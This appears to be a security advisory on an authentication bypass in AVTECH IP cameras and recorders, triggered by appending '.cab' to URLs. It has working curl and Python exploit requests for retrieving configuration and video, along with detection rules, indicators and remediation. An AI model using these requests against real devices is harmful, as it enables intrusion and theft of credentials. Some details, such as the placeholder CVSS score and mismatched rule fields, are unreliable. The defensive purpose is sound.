CVE-2025-34053

Executive Summary

CVE-2025-34053 is a critical authentication bypass vulnerability affecting AVTECH IP cameras, DVRs, and NVRs. The flaw resides in the streamd web server, where the strstr() function is used to check for the substring .cab in incoming HTTP requests. Any URL containing .cab (e.g., /../../etc/passwd.cab) bypasses authentication, granting unauthorized access to protected endpoints. This allows an unauthenticated attacker to retrieve sensitive device configuration, stream video feeds, or execute further attacks. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the ease of exploitation and potential for full device compromise. No official patch is available, and the vendor has not responded to disclosure.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• Threat Level: Critical – Exploitation is trivial and can lead to full device takeover.

Deep Dive & Mechanics

The streamd web server handles HTTP requests for AVTECH devices. Authentication is enforced on most endpoints, but a flawed check uses the strstr() function to detect the substring .cab in the request URL. If .cab is present, the server assumes the request is for a legitimate cabinet file and skips authentication. This is a classic authentication bypass via string injection.

Root Cause: The strstr() function returns a non-NULL pointer if .cab is found anywhere in the URL, regardless of context. An attacker can append .cab to any path (e.g., /cgi-bin/admin/getconfig.cab) to bypass authentication.

Attack Flow:

1. Attacker sends a GET request to a protected endpoint, appending .cab to the path.
2. The server’s strstr() check passes, and authentication is skipped.
3. The server processes the request, returning sensitive data or allowing configuration changes.

Impact: Full device compromise, including video stream access, credential theft, and potential lateral movement within the network.

Vulnerable vs. Patched Code

Vulnerable Code (C-style pseudocode):

int authenticate_request(char *url) {
    if (strstr(url, ".cab") != NULL) {
        return 1; // Bypass authentication
    }
    // Normal authentication logic
    return check_credentials(url);
}

Patched Code (Recommended Fix):

int authenticate_request(char *url) {
    // Check if the URL ends with ".cab" (case-insensitive)
    int len = strlen(url);
    if (len >= 4 && strcasecmp(url + len - 4, ".cab") == 0) {
        return 1; // Only bypass for actual .cab files
    }
    // Normal authentication logic
    return check_credentials(url);
}

The patched version ensures that only URLs ending with .cab bypass authentication, preventing injection attacks.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target AVTECH device with streamd exposed on port 80 or 8080.
• Network access to the device.

Exploit Steps:

1. Identify the target IP (e.g., 192.168.1.100).
2. Send a crafted HTTP request to a protected endpoint, appending .cab:

   curl -v "http://192.168.1.100/cgi-bin/admin/getconfig.cab"
   

3. If successful, the device returns configuration data (e.g., admin credentials, network settings).
4. For video stream access:

   curl -v "http://192.168.1.100/video.cab"
   

Proof-of-Concept (Python):

import requests

target = "http://192.168.1.100"
endpoint = "/cgi-bin/admin/getconfig.cab"
response = requests.get(target + endpoint)
if response.status_code == 200:
    print("Authentication bypass successful!")
    print(response.text)
else:
    print("Failed")

Blue Team

Detection:

• Monitor HTTP requests for URLs containing .cab that are not legitimate file downloads.
• Look for anomalous access to /cgi-bin/ or /video/ paths with .cab appended.

Hunting:

• Search logs for strstr bypass patterns: .*\.cab.* in request URIs.
• Correlate with known AVTECH device IPs.

Lab Setup:

• Use a vulnerable AVTECH device (firmware version unknown) or a simulated environment.
• Deploy a honeypot mimicking the streamd server to capture exploitation attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing .cab in the URI path to sensitive endpoints (e.g., /cgi-bin/, /video/).
  • Unusual outbound connections from AVTECH devices to unknown IPs.
• File IOCs:
  • Configuration files (e.g., config.cab) retrieved from devices.
• Behavioral IOCs:
  • Multiple failed login attempts followed by successful access with .cab bypass.
  • Unauthorized changes to device settings.

Detection Engineering

YARA Rule

rule CVE_2025_34053_AVTECH_AuthBypass {
    meta:
        description = "Detects HTTP requests exploiting CVE-2025-34053 authentication bypass"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-34053"
    strings:
        $cab_pattern = /\.cab/i
        $cgi_path = /\/cgi-bin\//
        $video_path = /\/video\//
    condition:
        any of ($cgi_path, $video_path) and $cab_pattern
}

Sigma Rule

title: AVTECH Authentication Bypass via .cab Injection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with .cab substring targeting AVTECH devices
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: '.cab'
        cs-uri-stem|contains:
            - '/cgi-bin/'
            - '/video/'
    condition: selection
falsepositives:
    - Legitimate .cab file downloads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-34053 AVTECH Authentication Bypass"; flow:to_server; content:".cab"; http_uri; content:"/cgi-bin/"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from the internet and untrusted networks.
2. Implement network segmentation to limit exposure.
3. Deploy WAF rules to block URLs containing .cab in sensitive paths.

Long-Term Fix:

• Apply vendor patch when available (none currently).
• Replace vulnerable devices with patched alternatives.
• Monitor vendor advisories for updates.

Workaround:

• Disable the streamd service if not required.
• Use a reverse proxy to strip .cab from requests before forwarding.

Valters IT